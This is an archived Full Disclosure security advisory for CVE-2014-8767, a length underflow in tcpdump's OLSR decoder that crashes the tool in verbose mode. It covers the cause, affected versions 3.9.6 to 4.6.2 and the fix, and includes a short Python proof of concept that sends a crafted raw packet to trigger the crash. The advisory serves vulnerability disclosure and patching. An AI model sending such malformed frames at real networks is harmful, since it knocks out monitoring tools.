full-disclosure - [FD] CVE-2014-8767 tcpdump denial of service in verbose mode using malformed OLSR payload

Open Source and information security mailing list archives

Date: Tue, 18 Nov 2014 06:03:16 +0100
From: Steffen Bauch <mail@...ffenbauch.de>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org
Subject: [FD] CVE-2014-8767 tcpdump denial of service in verbose mode using
 malformed OLSR payload

CVE-2014-8767 tcpdump denial of service in verbose mode using malformed 
OLSR payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (OLSR-based) can lead to 
an application crash (denial of service) if verbose output of tcpdump 
monitoring the network is used.

3. Technical Description

The application decoder for the OLSR protocol fails to perform external 
input validation and performs insufficient checking on length 
computations leading to an unsafe decrement and underflow in the function

olsr_print (const u_char *pptr, u_int length, int is_ipv6)

In this function msg_len is extracted from the input without sufficient 
checks and subtracted sizeof(struct olsr_msg4) which leads to an 
underflow of msg_tlen which is used to call olsr_print_neighbor() which 
will crash. In case DNS reverse lookup is enabled, this will also lead 
to a large amount of invalid DNS reverse lookups.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

olsr_frame = 
"\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"

s.send(olsr_frame)

4. Affected versions

Affected versions are 3.9.6 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives